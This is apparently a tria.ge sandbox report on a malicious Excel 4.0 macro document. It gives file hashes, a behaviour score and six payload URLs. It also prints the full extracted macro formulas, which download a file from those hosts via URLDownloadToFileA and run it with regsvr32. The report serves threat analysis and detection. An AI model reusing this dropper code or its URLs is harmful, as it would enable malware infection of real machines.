Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    ac1c01e3268ca2840c35060d41875d027d58ab266f9864e68c8a82742e7f7bc7

  • Size

    46KB

  • Sample

    241111-zkt5wayrdm

  • MD5

    cce21b3e8d48133c26f56a46139d6578

  • SHA1

    a993a2cdefb0a83d1e83668681c395566e8844c5

  • SHA256

    ac1c01e3268ca2840c35060d41875d027d58ab266f9864e68c8a82742e7f7bc7

  • SHA512

    c1285d19eb379aa2c2a0a2ca01069845a9ddd9e45012b2d7beb3b9ed3449d0f04f8558078c4335e379b0792de15a4201b944438d57c786a920c4de34ff4be3ac

  • SSDEEP

    768:X1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:X1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

https://chera.co.kr/wp-includes/i2nnUkDXZ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

xlm40.dropper

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

xlm40.dropper

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

xlm40.dropper

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

xlm40.dropper

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

Targets

    • Target

      ac1c01e3268ca2840c35060d41875d027d58ab266f9864e68c8a82742e7f7bc7

    • Size

      46KB

    • MD5

      cce21b3e8d48133c26f56a46139d6578

    • SHA1

      a993a2cdefb0a83d1e83668681c395566e8844c5

    • SHA256

      ac1c01e3268ca2840c35060d41875d027d58ab266f9864e68c8a82742e7f7bc7

    • SHA512

      c1285d19eb379aa2c2a0a2ca01069845a9ddd9e45012b2d7beb3b9ed3449d0f04f8558078c4335e379b0792de15a4201b944438d57c786a920c4de34ff4be3ac

    • SSDEEP

      768:X1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:X1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks